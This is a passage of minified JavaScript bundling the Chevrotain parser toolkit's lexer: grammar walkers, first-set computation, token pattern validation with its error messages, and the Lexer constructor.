Ar({terminalType:t.separator})].concat(t.definition)})].concat(e,r)}var Yu,jE=N(()=>{"use strict";Yt();ps();Yu=class{static{o(this,"RestWalker")}walk(e,r=[]){Ae(e.definition,(n,i)=>{let a=yi(e.definition,i+1);if(n instanceof fn)this.walkProdRef(n,a,r);else if(n instanceof Ar)this.walkTerminal(n,a,r);else if(n instanceof Pn)this.walkFlat(n,a,r);else if(n instanceof dn)this.walkOption(n,a,r);else if(n instanceof Bn)this.walkAtLeastOne(n,a,r);else if(n instanceof Fn)this.walkAtLeastOneSep(n,a,r);else if(n instanceof _n)this.walkManySep(n,a,r);else if(n instanceof zr)this.walkMany(n,a,r);else if(n instanceof Dn)this.walkOr(n,a,r);else throw Error("non exhaustive match")})}walkTerminal(e,r,n){}walkProdRef(e,r,n){}walkFlat(e,r,n){let i=r.concat(n);this.walk(e,i)}walkOption(e,r,n){let i=r.concat(n);this.walk(e,i)}walkAtLeastOne(e,r,n){let i=[new dn({definition:e.definition})].concat(r,n);this.walk(e,i)}walkAtLeastOneSep(e,r,n){let i=tde(e,r,n);this.walk(e,i)}walkMany(e,r,n){let i=[new dn({definition:e.definition})].concat(r,n);this.walk(e,i)}walkManySep(e,r,n){let i=tde(e,r,n);this.walk(e,i)}walkOr(e,r,n){let i=r.concat(n);Ae(e.definition,a=>{let s=new Pn({definition:[a]});this.walk(s,i)})}};o(tde,"restForRepetitionWithSeparator")});function zp(t){if(t instanceof fn)return zp(t.referencedRule);if(t instanceof Ar)return nYe(t);if($O(t))return tYe(t);if(zO(t))return rYe(t);throw Error("non exhaustive match")}function tYe(t){let e=[],r=t.definition,n=0,i=r.length>n,a,s=!0;for(;i&&s;)a=r[n],s=$p(a),e=e.concat(zp(a)),n=n+1,i=r.length>n;return qm(e)}function rYe(t){let e=rt(t.definition,r=>zp(r));return qm(Qr(e))}function nYe(t){return[t.terminalType]}var GO=N(()=>{"use strict";Yt();ps();o(zp,"first");o(tYe,"firstForSequence");o(rYe,"firstForBranching");o(nYe,"firstForTerminal")});var KE,VO=N(()=>{"use strict";KE="_~IN~_"});function rde(t){let e={};return Ae(t,r=>{let n=new UO(r).startWalking();pa(e,n)}),e}function iYe(t,e){return t.name+e+KE}var UO,nde=N(()=>{"use strict";jE();GO();Yt();VO();ps();UO=class extends Yu{static{o(this,"ResyncFollowsWalker")}constructor(e){super(),this.topProd=e,this.follows={}}startWalking(){return this.walk(this.topProd),this.follows}walkTerminal(e,r,n){}walkProdRef(e,r,n){let i=iYe(e.referencedRule,e.idx)+this.topProd.name,a=r.concat(n),s=new Pn({definition:a}),l=zp(s);this.follows[i]=l}};o(rde,"computeAllProdsFollows");o(iYe,"buildBetweenProdsFollowPrefix")});function m1(t){let e=t.toString();if(QE.hasOwnProperty(e))return QE[e];{let r=aYe.pattern(e);return QE[e]=r,r}}function ide(){QE={}}var QE,aYe,ZE=N(()=>{"use strict";Wx();QE={},aYe=new Pp;o(m1,"getRegExpAst");o(ide,"clearRegExpParserCache")});function ode(t,e=!1){try{let r=m1(t);return HO(r.value,{},r.flags.ignoreCase)}catch(r){if(r.message===sde)e&&Qx(`${eb} Unable to optimize: < ${t.toString()} > + Complement Sets cannot be automatically optimized. + This will disable the lexer's first char optimizations. + See: https://chevrotain.io/docs/guide/resolving_lexer_errors.html#COMPLEMENT for details.`);else{let n="";e&&(n=` + This will disable the lexer's first char optimizations. + See: https://chevrotain.io/docs/guide/resolving_lexer_errors.html#REGEXP_PARSING for details.`),f1(`${eb} + Failed parsing: < ${t.toString()} > + Using the @chevrotain/regexp-to-ast library + Please open an issue at: https://github.com/chevrotain/chevrotain/issues`+n)}}return[]}function HO(t,e,r){switch(t.type){case"Disjunction":for(let i=0;i{if(typeof u=="number")JE(u,e,r);else{let h=u;if(r===!0)for(let f=h.from;f<=h.to;f++)JE(f,e,r);else{for(let f=h.from;f<=h.to&&f=g1){let f=h.from>=g1?h.from:g1,d=h.to,p=Yc(f),m=Yc(d);for(let g=p;g<=m;g++)e[g]=g}}}});break;case"Group":HO(s.value,e,r);break;default:throw Error("Non Exhaustive Match")}let l=s.quantifier!==void 0&&s.quantifier.atLeast===0;if(s.type==="Group"&&qO(s)===!1||s.type!=="Group"&&l===!1)break}break;default:throw Error("non exhaustive match!")}return kr(e)}function JE(t,e,r){let n=Yc(t);e[n]=n,r===!0&&sYe(t,e)}function sYe(t,e){let r=String.fromCharCode(t),n=r.toUpperCase();if(n!==r){let i=Yc(n.charCodeAt(0));e[i]=i}else{let i=r.toLowerCase();if(i!==r){let a=Yc(i.charCodeAt(0));e[a]=a}}}function ade(t,e){return os(t.value,r=>{if(typeof r=="number")return jn(e,r);{let n=r;return os(e,i=>n.from<=i&&i<=n.to)!==void 0}})}function qO(t){let e=t.quantifier;return e&&e.atLeast===0?!0:t.value?Bt(t.value)?Pa(t.value,qO):qO(t.value):!1}function eS(t,e){if(e instanceof RegExp){let r=m1(e),n=new WO(t);return n.visit(r),n.found}else return os(e,r=>jn(t,r.charCodeAt(0)))!==void 0}var sde,eb,WO,lde=N(()=>{"use strict";Wx();Yt();d1();ZE();YO();sde="Complement Sets are not supported for first char optimization",eb=`Unable to use "first char" lexer optimizations: +`;o(ode,"getOptimizedStartCodesIndices");o(HO,"firstCharOptimizedIndices");o(JE,"addOptimizedIdxToResult");o(sYe,"handleIgnoreCase");o(ade,"findCode");o(qO,"isWholeOptional");WO=class extends Wc{static{o(this,"CharCodeFinder")}constructor(e){super(),this.targetCharCodes=e,this.found=!1}visitChildren(e){if(this.found!==!0){switch(e.type){case"Lookahead":this.visitLookahead(e);return;case"NegativeLookahead":this.visitNegativeLookahead(e);return}super.visitChildren(e)}}visitCharacter(e){jn(this.targetCharCodes,e.value)&&(this.found=!0)}visitSet(e){e.complement?ade(e,this.targetCharCodes)===void 0&&(this.found=!0):ade(e,this.targetCharCodes)!==void 0&&(this.found=!0)}};o(eS,"canMatchCharCode")});function hde(t,e){e=of(e,{useSticky:jO,debug:!1,safeMode:!1,positionTracking:"full",lineTerminatorCharacters:["\r",` +`],tracer:o((b,T)=>T(),"tracer")});let r=e.tracer;r("initCharCodeToOptimizedIndexMap",()=>{EYe()});let n;r("Reject Lexer.NA",()=>{n=cf(t,b=>b[Gp]===Zn.NA)});let i=!1,a;r("Transform Patterns",()=>{i=!1,a=rt(n,b=>{let T=b[Gp];if(Uo(T)){let S=T.source;return S.length===1&&S!=="^"&&S!=="$"&&S!=="."&&!T.ignoreCase?S:S.length===2&&S[0]==="\\"&&!jn(["d","D","s","S","t","r","n","t","0","c","b","B","f","v","w","W"],S[1])?S[1]:e.useSticky?ude(T):cde(T)}else{if(Si(T))return i=!0,{exec:T};if(typeof T=="object")return i=!0,T;if(typeof T=="string"){if(T.length===1)return T;{let S=T.replace(/[\\^$.*+?()[\]{}|]/g,"\\$&"),w=new RegExp(S);return e.useSticky?ude(w):cde(w)}}else throw Error("non exhaustive match")}})});let s,l,u,h,f;r("misc mapping",()=>{s=rt(n,b=>b.tokenTypeIdx),l=rt(n,b=>{let T=b.GROUP;if(T!==Zn.SKIPPED){if(xi(T))return T;if(xr(T))return!1;throw Error("non exhaustive match")}}),u=rt(n,b=>{let T=b.LONGER_ALT;if(T)return Bt(T)?rt(T,w=>ck(n,w)):[ck(n,T)]}),h=rt(n,b=>b.PUSH_MODE),f=rt(n,b=>Ft(b,"POP_MODE"))});let d;r("Line Terminator Handling",()=>{let b=xde(e.lineTerminatorCharacters);d=rt(n,T=>!1),e.positionTracking!=="onlyOffset"&&(d=rt(n,T=>Ft(T,"LINE_BREAKS")?!!T.LINE_BREAKS:vde(T,b)===!1&&eS(b,T.PATTERN)))});let p,m,g,y;r("Misc Mapping #2",()=>{p=rt(n,gde),m=rt(a,wYe),g=Jr(n,(b,T)=>{let S=T.GROUP;return xi(S)&&S!==Zn.SKIPPED&&(b[S]=[]),b},{}),y=rt(a,(b,T)=>({pattern:a[T],longerAlt:u[T],canLineTerminator:d[T],isCustom:p[T],short:m[T],group:l[T],push:h[T],pop:f[T],tokenTypeIdx:s[T],tokenType:n[T]}))});let v=!0,x=[];return e.safeMode||r("First Char Optimization",()=>{x=Jr(n,(b,T,S)=>{if(typeof T.PATTERN=="string"){let w=T.PATTERN.charCodeAt(0),k=Yc(w);XO(b,k,y[S])}else if(Bt(T.START_CHARS_HINT)){let w;Ae(T.START_CHARS_HINT,k=>{let A=typeof k=="string"?k.charCodeAt(0):k,C=Yc(A);w!==C&&(w=C,XO(b,C,y[S]))})}else if(Uo(T.PATTERN))if(T.PATTERN.unicode)v=!1,e.ensureOptimizations&&f1(`${eb} Unable to analyze < ${T.PATTERN.toString()} > pattern. + The regexp unicode flag is not currently supported by the regexp-to-ast library. + This will disable the lexer's first char optimizations. + For details See: https://chevrotain.io/docs/guide/resolving_lexer_errors.html#UNICODE_OPTIMIZE`);else{let w=ode(T.PATTERN,e.ensureOptimizations);mr(w)&&(v=!1),Ae(w,k=>{XO(b,k,y[S])})}else e.ensureOptimizations&&f1(`${eb} TokenType: <${T.name}> is using a custom token pattern without providing parameter. + This will disable the lexer's first char optimizations. + For details See: https://chevrotain.io/docs/guide/resolving_lexer_errors.html#CUSTOM_OPTIMIZE`),v=!1;return b},[])}),{emptyGroups:g,patternIdxToConfig:y,charCodeToPatternIdxToConfig:x,hasCustom:i,canBeOptimized:v}}function fde(t,e){let r=[],n=lYe(t);r=r.concat(n.errors);let i=cYe(n.valid),a=i.valid;return r=r.concat(i.errors),r=r.concat(oYe(a)),r=r.concat(yYe(a)),r=r.concat(vYe(a,e)),r=r.concat(xYe(a)),r}function oYe(t){let e=[],r=Zr(t,n=>Uo(n[Gp]));return e=e.concat(hYe(r)),e=e.concat(pYe(r)),e=e.concat(mYe(r)),e=e.concat(gYe(r)),e=e.concat(fYe(r)),e}function lYe(t){let e=Zr(t,i=>!Ft(i,Gp)),r=rt(e,i=>({message:"Token Type: ->"+i.name+"<- missing static 'PATTERN' property",type:Qn.MISSING_PATTERN,tokenTypes:[i]})),n=lf(t,e);return{errors:r,valid:n}}function cYe(t){let e=Zr(t,i=>{let a=i[Gp];return!Uo(a)&&!Si(a)&&!Ft(a,"exec")&&!xi(a)}),r=rt(e,i=>({message:"Token Type: ->"+i.name+"<- static 'PATTERN' can only be a RegExp, a Function matching the {CustomPatternMatcherFunc} type or an Object matching the {ICustomPattern} interface.",type:Qn.INVALID_PATTERN,tokenTypes:[i]})),n=lf(t,e);return{errors:r,valid:n}}function hYe(t){class e extends Wc{static{o(this,"EndAnchorFinder")}constructor(){super(...arguments),this.found=!1}visitEndAnchor(a){this.found=!0}}let r=Zr(t,i=>{let a=i.PATTERN;try{let s=m1(a),l=new e;return l.visit(s),l.found}catch{return uYe.test(a.source)}});return rt(r,i=>({message:`Unexpected RegExp Anchor Error: + Token Type: ->`+i.name+`<- static 'PATTERN' cannot contain end of input anchor '$' + See chevrotain.io/docs/guide/resolving_lexer_errors.html#ANCHORS for details.`,type:Qn.EOI_ANCHOR_FOUND,tokenTypes:[i]}))}function fYe(t){let e=Zr(t,n=>n.PATTERN.test(""));return rt(e,n=>({message:"Token Type: ->"+n.name+"<- static 'PATTERN' must not match an empty string",type:Qn.EMPTY_MATCH_PATTERN,tokenTypes:[n]}))}function pYe(t){class e extends Wc{static{o(this,"StartAnchorFinder")}constructor(){super(...arguments),this.found=!1}visitStartAnchor(a){this.found=!0}}let r=Zr(t,i=>{let a=i.PATTERN;try{let s=m1(a),l=new e;return l.visit(s),l.found}catch{return dYe.test(a.source)}});return rt(r,i=>({message:`Unexpected RegExp Anchor Error: + Token Type: ->`+i.name+`<- static 'PATTERN' cannot contain start of input anchor '^' + See https://chevrotain.io/docs/guide/resolving_lexer_errors.html#ANCHORS for details.`,type:Qn.SOI_ANCHOR_FOUND,tokenTypes:[i]}))}function mYe(t){let e=Zr(t,n=>{let i=n[Gp];return i instanceof RegExp&&(i.multiline||i.global)});return rt(e,n=>({message:"Token Type: ->"+n.name+"<- static 'PATTERN' may NOT contain global('g') or multiline('m')",type:Qn.UNSUPPORTED_FLAGS_FOUND,tokenTypes:[n]}))}function gYe(t){let e=[],r=rt(t,a=>Jr(t,(s,l)=>(a.PATTERN.source===l.PATTERN.source&&!jn(e,l)&&l.PATTERN!==Zn.NA&&(e.push(l),s.push(l)),s),[]));r=_c(r);let n=Zr(r,a=>a.length>1);return rt(n,a=>{let s=rt(a,u=>u.name);return{message:`The same RegExp pattern ->${ea(a).PATTERN}<-has been used in all of the following Token Types: ${s.join(", ")} <-`,type:Qn.DUPLICATE_PATTERNS_FOUND,tokenTypes:a}})}function yYe(t){let e=Zr(t,n=>{if(!Ft(n,"GROUP"))return!1;let i=n.GROUP;return i!==Zn.SKIPPED&&i!==Zn.NA&&!xi(i)});return rt(e,n=>({message:"Token Type: ->"+n.name+"<- static 'GROUP' can only be Lexer.SKIPPED/Lexer.NA/A String",type:Qn.INVALID_GROUP_TYPE_FOUND,tokenTypes:[n]}))}function vYe(t,e){let r=Zr(t,i=>i.PUSH_MODE!==void 0&&!jn(e,i.PUSH_MODE));return rt(r,i=>({message:`Token Type: ->${i.name}<- static 'PUSH_MODE' value cannot refer to a Lexer Mode ->${i.PUSH_MODE}<-which does not exist`,type:Qn.PUSH_MODE_DOES_NOT_EXIST,tokenTypes:[i]}))}function xYe(t){let e=[],r=Jr(t,(n,i,a)=>{let s=i.PATTERN;return s===Zn.NA||(xi(s)?n.push({str:s,idx:a,tokenType:i}):Uo(s)&&TYe(s)&&n.push({str:s.source,idx:a,tokenType:i})),n},[]);return Ae(t,(n,i)=>{Ae(r,({str:a,idx:s,tokenType:l})=>{if(i${l.name}<- can never be matched. +Because it appears AFTER the Token Type ->${n.name}<-in the lexer's definition. +See https://chevrotain.io/docs/guide/resolving_lexer_errors.html#UNREACHABLE`;e.push({message:u,type:Qn.UNREACHABLE_PATTERN,tokenTypes:[n,l]})}})}),e}function bYe(t,e){if(Uo(e)){let r=e.exec(t);return r!==null&&r.index===0}else{if(Si(e))return e(t,0,[],{});if(Ft(e,"exec"))return e.exec(t,0,[],{});if(typeof e=="string")return e===t;throw Error("non exhaustive match")}}function TYe(t){return os([".","\\","[","]","|","^","$","(",")","?","*","+","{"],r=>t.source.indexOf(r)!==-1)===void 0}function cde(t){let e=t.ignoreCase?"i":"";return new RegExp(`^(?:${t.source})`,e)}function ude(t){let e=t.ignoreCase?"iy":"y";return new RegExp(`${t.source}`,e)}function dde(t,e,r){let n=[];return Ft(t,y1)||n.push({message:"A MultiMode Lexer cannot be initialized without a <"+y1+`> property in its definition +`,type:Qn.MULTI_MODE_LEXER_WITHOUT_DEFAULT_MODE}),Ft(t,tS)||n.push({message:"A MultiMode Lexer cannot be initialized without a <"+tS+`> property in its definition +`,type:Qn.MULTI_MODE_LEXER_WITHOUT_MODES_PROPERTY}),Ft(t,tS)&&Ft(t,y1)&&!Ft(t.modes,t.defaultMode)&&n.push({message:`A MultiMode Lexer cannot be initialized with a ${y1}: <${t.defaultMode}>which does not exist +`,type:Qn.MULTI_MODE_LEXER_DEFAULT_MODE_VALUE_DOES_NOT_EXIST}),Ft(t,tS)&&Ae(t.modes,(i,a)=>{Ae(i,(s,l)=>{if(xr(s))n.push({message:`A Lexer cannot be initialized using an undefined Token Type. Mode:<${a}> at index: <${l}> +`,type:Qn.LEXER_DEFINITION_CANNOT_CONTAIN_UNDEFINED});else if(Ft(s,"LONGER_ALT")){let u=Bt(s.LONGER_ALT)?s.LONGER_ALT:[s.LONGER_ALT];Ae(u,h=>{!xr(h)&&!jn(i,h)&&n.push({message:`A MultiMode Lexer cannot be initialized with a longer_alt <${h.name}> on token <${s.name}> outside of mode <${a}> +`,type:Qn.MULTI_MODE_LEXER_LONGER_ALT_NOT_IN_CURRENT_MODE})})}})}),n}function pde(t,e,r){let n=[],i=!1,a=_c(Qr(kr(t.modes))),s=cf(a,u=>u[Gp]===Zn.NA),l=xde(r);return e&&Ae(s,u=>{let h=vde(u,l);if(h!==!1){let d={message:kYe(u,h),type:h.issue,tokenType:u};n.push(d)}else Ft(u,"LINE_BREAKS")?u.LINE_BREAKS===!0&&(i=!0):eS(l,u.PATTERN)&&(i=!0)}),e&&!i&&n.push({message:`Warning: No LINE_BREAKS Found. + This Lexer has been defined to track line and column information, + But none of the Token Types can be identified as matching a line terminator. + See https://chevrotain.io/docs/guide/resolving_lexer_errors.html#LINE_BREAKS + for details.`,type:Qn.NO_LINE_BREAKS_FLAGS}),n}function mde(t){let e={},r=qr(t);return Ae(r,n=>{let i=t[n];if(Bt(i))e[n]=[];else throw Error("non exhaustive match")}),e}function gde(t){let e=t.PATTERN;if(Uo(e))return!1;if(Si(e))return!0;if(Ft(e,"exec"))return!0;if(xi(e))return!1;throw Error("non exhaustive match")}function wYe(t){return xi(t)&&t.length===1?t.charCodeAt(0):!1}function vde(t,e){if(Ft(t,"LINE_BREAKS"))return!1;if(Uo(t.PATTERN)){try{eS(e,t.PATTERN)}catch(r){return{issue:Qn.IDENTIFY_TERMINATOR,errMsg:r.message}}return!1}else{if(xi(t.PATTERN))return!1;if(gde(t))return{issue:Qn.CUSTOM_LINE_BREAK};throw Error("non exhaustive match")}}function kYe(t,e){if(e.issue===Qn.IDENTIFY_TERMINATOR)return`Warning: unable to identify line terminator usage in pattern. + The problem is in the <${t.name}> Token Type + Root cause: ${e.errMsg}. + For details See: https://chevrotain.io/docs/guide/resolving_lexer_errors.html#IDENTIFY_TERMINATOR`;if(e.issue===Qn.CUSTOM_LINE_BREAK)return`Warning: A Custom Token Pattern should specify the option. + The problem is in the <${t.name}> Token Type + For details See: https://chevrotain.io/docs/guide/resolving_lexer_errors.html#CUSTOM_LINE_BREAK`;throw Error("non exhaustive match")}function xde(t){return rt(t,r=>xi(r)?r.charCodeAt(0):r)}function XO(t,e,r){t[e]===void 0?t[e]=[r]:t[e].push(r)}function Yc(t){return t255?255+~~(t/255):t}}var Gp,y1,tS,jO,uYe,dYe,yde,g1,rS,YO=N(()=>{"use strict";Wx();tb();Yt();d1();lde();ZE();Gp="PATTERN",y1="defaultMode",tS="modes",jO=typeof new RegExp("(?:)").sticky=="boolean";o(hde,"analyzeTokenTypes");o(fde,"validatePatterns");o(oYe,"validateRegExpPattern");o(lYe,"findMissingPatterns");o(cYe,"findInvalidPatterns");uYe=/[^\\][$]/;o(hYe,"findEndOfInputAnchor");o(fYe,"findEmptyMatchRegExps");dYe=/[^\\[][\^]|^\^/;o(pYe,"findStartOfInputAnchor");o(mYe,"findUnsupportedFlags");o(gYe,"findDuplicatePatterns");o(yYe,"findInvalidGroupType");o(vYe,"findModesThatDoNotExist");o(xYe,"findUnreachablePatterns");o(bYe,"testTokenType");o(TYe,"noMetaChar");o(cde,"addStartOfInput");o(ude,"addStickyFlag");o(dde,"performRuntimeChecks");o(pde,"performWarningRuntimeChecks");o(mde,"cloneEmptyGroups");o(gde,"isCustomPattern");o(wYe,"isShortPattern");yde={test:o(function(t){let e=t.length;for(let r=this.lastIndex;r{r.isParent=r.categoryMatches.length>0})}function SYe(t){let e=ln(t),r=t,n=!0;for(;n;){r=_c(Qr(rt(r,a=>a.CATEGORIES)));let i=lf(r,e);e=e.concat(i),mr(i)?n=!1:r=i}return e}function CYe(t){Ae(t,e=>{KO(e)||(wde[bde]=e,e.tokenTypeIdx=bde++),Tde(e)&&!Bt(e.CATEGORIES)&&(e.CATEGORIES=[e.CATEGORIES]),Tde(e)||(e.CATEGORIES=[]),DYe(e)||(e.categoryMatches=[]),LYe(e)||(e.categoryMatchesMap={})})}function AYe(t){Ae(t,e=>{e.categoryMatches=[],Ae(e.categoryMatchesMap,(r,n)=>{e.categoryMatches.push(wde[n].tokenTypeIdx)})})}function _Ye(t){Ae(t,e=>{kde([],e)})}function kde(t,e){Ae(t,r=>{e.categoryMatchesMap[r.tokenTypeIdx]=!0}),Ae(e.CATEGORIES,r=>{let n=t.concat(e);jn(n,r)||kde(n,r)})}function KO(t){return Ft(t,"tokenTypeIdx")}function Tde(t){return Ft(t,"CATEGORIES")}function DYe(t){return Ft(t,"categoryMatches")}function LYe(t){return Ft(t,"categoryMatchesMap")}function Ede(t){return Ft(t,"tokenTypeIdx")}var bde,wde,Vp=N(()=>{"use strict";Yt();o(Xu,"tokenStructuredMatcher");o(v1,"tokenStructuredMatcherNoCategories");bde=1,wde={};o(ju,"augmentTokenTypes");o(SYe,"expandCategories");o(CYe,"assignTokenDefaultProps");o(AYe,"assignCategoriesTokensProp");o(_Ye,"assignCategoriesMapProp");o(kde,"singleAssignCategoriesToksMap");o(KO,"hasShortKeyProperty");o(Tde,"hasCategoriesProperty");o(DYe,"hasExtendingTokensTypesProperty");o(LYe,"hasExtendingTokensTypesMapProperty");o(Ede,"isTokenType")});var x1,QO=N(()=>{"use strict";x1={buildUnableToPopLexerModeMessage(t){return`Unable to pop Lexer Mode after encountering Token ->${t.image}<- The Mode Stack is empty`},buildUnexpectedCharactersMessage(t,e,r,n,i){return`unexpected character: ->${t.charAt(e)}<- at offset: ${e}, skipped ${r} characters.`}}});var Qn,rb,Zn,tb=N(()=>{"use strict";YO();Yt();d1();Vp();QO();ZE();(function(t){t[t.MISSING_PATTERN=0]="MISSING_PATTERN",t[t.INVALID_PATTERN=1]="INVALID_PATTERN",t[t.EOI_ANCHOR_FOUND=2]="EOI_ANCHOR_FOUND",t[t.UNSUPPORTED_FLAGS_FOUND=3]="UNSUPPORTED_FLAGS_FOUND",t[t.DUPLICATE_PATTERNS_FOUND=4]="DUPLICATE_PATTERNS_FOUND",t[t.INVALID_GROUP_TYPE_FOUND=5]="INVALID_GROUP_TYPE_FOUND",t[t.PUSH_MODE_DOES_NOT_EXIST=6]="PUSH_MODE_DOES_NOT_EXIST",t[t.MULTI_MODE_LEXER_WITHOUT_DEFAULT_MODE=7]="MULTI_MODE_LEXER_WITHOUT_DEFAULT_MODE",t[t.MULTI_MODE_LEXER_WITHOUT_MODES_PROPERTY=8]="MULTI_MODE_LEXER_WITHOUT_MODES_PROPERTY",t[t.MULTI_MODE_LEXER_DEFAULT_MODE_VALUE_DOES_NOT_EXIST=9]="MULTI_MODE_LEXER_DEFAULT_MODE_VALUE_DOES_NOT_EXIST",t[t.LEXER_DEFINITION_CANNOT_CONTAIN_UNDEFINED=10]="LEXER_DEFINITION_CANNOT_CONTAIN_UNDEFINED",t[t.SOI_ANCHOR_FOUND=11]="SOI_ANCHOR_FOUND",t[t.EMPTY_MATCH_PATTERN=12]="EMPTY_MATCH_PATTERN",t[t.NO_LINE_BREAKS_FLAGS=13]="NO_LINE_BREAKS_FLAGS",t[t.UNREACHABLE_PATTERN=14]="UNREACHABLE_PATTERN",t[t.IDENTIFY_TERMINATOR=15]="IDENTIFY_TERMINATOR",t[t.CUSTOM_LINE_BREAK=16]="CUSTOM_LINE_BREAK",t[t.MULTI_MODE_LEXER_LONGER_ALT_NOT_IN_CURRENT_MODE=17]="MULTI_MODE_LEXER_LONGER_ALT_NOT_IN_CURRENT_MODE"})(Qn||(Qn={}));rb={deferDefinitionErrorsHandling:!1,positionTracking:"full",lineTerminatorsPattern:/\n|\r\n?/g,lineTerminatorCharacters:[` +`,"\r"],ensureOptimizations:!1,safeMode:!1,errorMessageProvider:x1,traceInitPerf:!1,skipValidations:!1,recoveryEnabled:!0};Object.freeze(rb);Zn=class{static{o(this,"Lexer")}constructor(e,r=rb){if(this.lexerDefinition=e,this.lexerDefinitionErrors=[],this.lexerDefinitionWarning=[],this.patternIdxToConfig={},this.charCodeToPatternIdxToConfig={},this.modes=[],this.emptyGroups={},this.trackStartLines=!0,this.trackEndLines=!0,this.hasCustom=!1,this.canModeBeOptimized={},this.TRACE_INIT=(i,a)=>{if(this.traceInitPerf===!0){this.traceInitIndent++;let s=new Array(this.traceInitIndent+1).join(" ");this.traceInitIndent <${i}>`);let{time:l,value:u}=Zx(a),h=l>10?console.warn:console.log;return this.traceInitIndent time: ${l}ms`),this.traceInitIndent--,u}else return a()},typeof r=="boolean")throw Error(`The second argument to the Lexer constructor is now an ILexerConfig Object. +a boolean 2nd argument is no longer supported`);this.config=pa({},rb,r);let n=this.config.traceInitPerf;n===!0?(this.traceInitMaxIdent=1/0,this.traceInitPerf=!0):typeof n=="number"&&(this.traceInitMaxIdent=n,this.traceInitPerf=!0),this.traceInitIndent=-1,this.TRACE_INIT("Lexer Constructor",()=>{let i,a=!0;this.TRACE_INIT("Lexer Config handling",()=>{if(this.config.lineTerminatorsPattern===rb.lineTerminatorsPattern)this.config.lineTerminatorsPattern=yde;else if(this.config.lineTerminatorCharacters===rb.lineTerminatorCharacters)throw Error(`Error: Missing property on the Lexer config. + For details See: https://chevrotain.io/docs/guide/resolving_lexer_errors.html#MISSING_LINE_TERM_CHARS`);if(r.safeMode&&r.ensureOptimizations)throw Error('"safeMode" and "ensureOptimizations" flags are mutually exclusive.');this.trackStartLines=/full|onlyStart/i.test(this.config.positionTracking),this.trackEndLines=/full/i.test(this.config.positionTracking),Bt(e)?i={modes:{defaultMode:ln(e)},defaultMode:y1}:(a=!1,i=ln(e))}),this.config.skipValidations===!1&&(this.TRACE_INIT("performRuntimeChecks",()=>{this.lexerDefinitionErrors=this.lexerDefinitionErrors.concat(dde(i,this.trackStartLines,this.config.lineTerminatorCharacters))}),this.TRACE_INIT("performWarningRuntimeChecks",()=>{this.lexerDefinitionWarning=this.lexerDefinitionWarning.concat(pde(i,this.trackStartLines,this.config.lineTerminatorCharacters))})),i.modes=i.modes?i.modes:{},Ae(i.modes,(l,u)=>{i.modes[u]=cf(l,h=>xr(h))});let s=qr(i.modes);if(Ae(i.modes,(l,u)=>{this.TRACE_INIT(`Mode: <${u}> processing`,()=>{if(this.modes.push(u),this.config.skipValidations===!1&&this.TRACE_INIT("validatePatterns",()=>{this.lexerDefinitionErrors=this.lexerDefinitionErrors.concat(fde(l,s))}),mr(this.lexerDefinitionErrors)){ju(l);let h;this.TRACE_INIT("analyzeTokenTypes",()=>{h=hde(l,{lineTerminatorCharacters:this.config.lineTerminatorCharacters,positionTracking:r.positionTracking,ensureOptimizations:r.ensureOptimizations,safeMode:r.safeMode,tracer:this.TRACE_INIT})}),this.patternIdxToConfig[u]=h.patternIdxToConfig,this.charCodeToPatternIdxToConfig[u]=h.charCodeToPatternIdxToConfig,this.emptyGroups=pa({},this.emptyGroups,h.emptyGroups),this.hasCustom=h.hasCustom||this.hasCustom,this.canModeBeOptimized[u]=h.canBeOptimized}})}),this.defaultMode=i.defaultMode,!mr(this.lexerDefinitionErrors)&&!this.config.deferDefinitionErrorsHandling){let u=rt(this.lexerDefinitionErrors,h=>h.message).join(`----------------------- +`);throw new Error(`Errors detected in definition of Lexer: +`+u)}Ae(this.lexerDefinitionWarning,l=>{Qx(l.message)}),this.TRACE_INIT("Choosing sub-methods implementations",()=>{if(jO?(this.chopInput=Qi,this.match=this.matchWithTest):(this.updateLastIndex=si,this.match=this.matchWithExec),a&&(this.handleModes=si),this.trackStartLines===!1&&(this.computeNewColumn=Qi),this.trackEndLines===!1&&(this.updateTokenEndLineColumnLocation=si),/full/i.test(this.config.positionTracking))this.createTokenInstance=this.createFullToken;else if(/onlyStart/i.test(this.config.positionTracking))this.createTokenInstance=this.createStartOnlyToken;else if(/onlyOffset/i.test(this.config.positionTracking))this.createTokenInstance=this.createOffsetOnlyToken;else throw Error(`Invalid config option: "${this.config.positionTracking}"`);this.hasCustom?(this.addToken=this.addTokenUsingPush,this.handlePayload=this.handlePayloadWithCustom):(this.addToken=this.addTokenUsingMemberAccess,this.handlePayload=this.handlePayloadNoCustom)}),this.TRACE_INIT("Failed Optimization Warnings",()=>{let l=Jr(this.canModeBeOptimized,(u,h,f)=>(h===!1&&u.push(f),u),[]);if(r.ensureOptimizations&&!mr(l))throw Error(`Lexer Modes: < ${l.join(", ")} > cannot be optimized. + Disable the "ensureOptimizations" lexer config flag to silently ignore this and run the lexer in an un-optimized mode. + Or inspect the console log for details on how to resolve these issues.`)}),this.TRACE_INIT("clearRegExpParserCache",()=>{ide()}),this.TRACE_INIT("toFastProperties",()=>{Jx(this)})})}tokenize(e,r=this.defaultMode){if(!mr(this.lexerDefinitionErrors)){let i=rt(this.lexerDefinitionErrors,a=>a.message).join(`----------------------- +`);throw new Error(`Unable to Tokenize because Errors detected in definition of Lexer: +`+i)}return this.tokenizeInternal(e,r)}tokenizeInternal(e,r){let n,i,a,s,l,u,h,f,d,p,m,g,y,v,x,b,T=e,S=T.length,w=0,k=0,A=this.hasCustom?0:Math.floor(e.length/10),C=new Array(A),R=[],I=this.trackStartLines?1:void 0,L=this.trackStartLines?1:void 0,E=mde(this.emptyGroups),D=this.trackStartLines,_=this.config.lineTerminatorsPattern,O=0,M=[],P=[],B=[],F=[];Object.freeze(F);let G;function $(){return M}o($,"getPossiblePatternsSlow");function U(J){let ue=Yc(J),re=P[ue];return re===void 0?F:re}o(U,"getPossiblePatternsOptimized");let j=o(J=>{if(B.length===1&&J.tokenType.PUSH_MODE===void 0){let ue=this.config.errorMessageProvider.buildUnableToPopLexerModeMessage(J);R.push({offset:J.startOffset,line:J.startLine,column:J.startColumn,length:J.image.length,message:ue})}else{B.pop();let ue=ma(B);M=this.patternIdxToConfig[ue],P=this.charCodeToPatternIdxToConfig[ue],O=M.length;let re=this.canModeBeOptimized[ue]&&this.config.safeMode===!1;P&&re?G=U:G=$}},"pop_mode");function te(J){B.push(J),P=this.charCodeToPatternIdxToConfig[J],M=this.patternIdxToConfig[J],O=M.length,O=M.length;let ue=this.canModeBeOptimized[J]&&this.config.safeMode===!1;P&&ue?G=U:G=$}o(te,"push_mode"),te.call(this,r);let 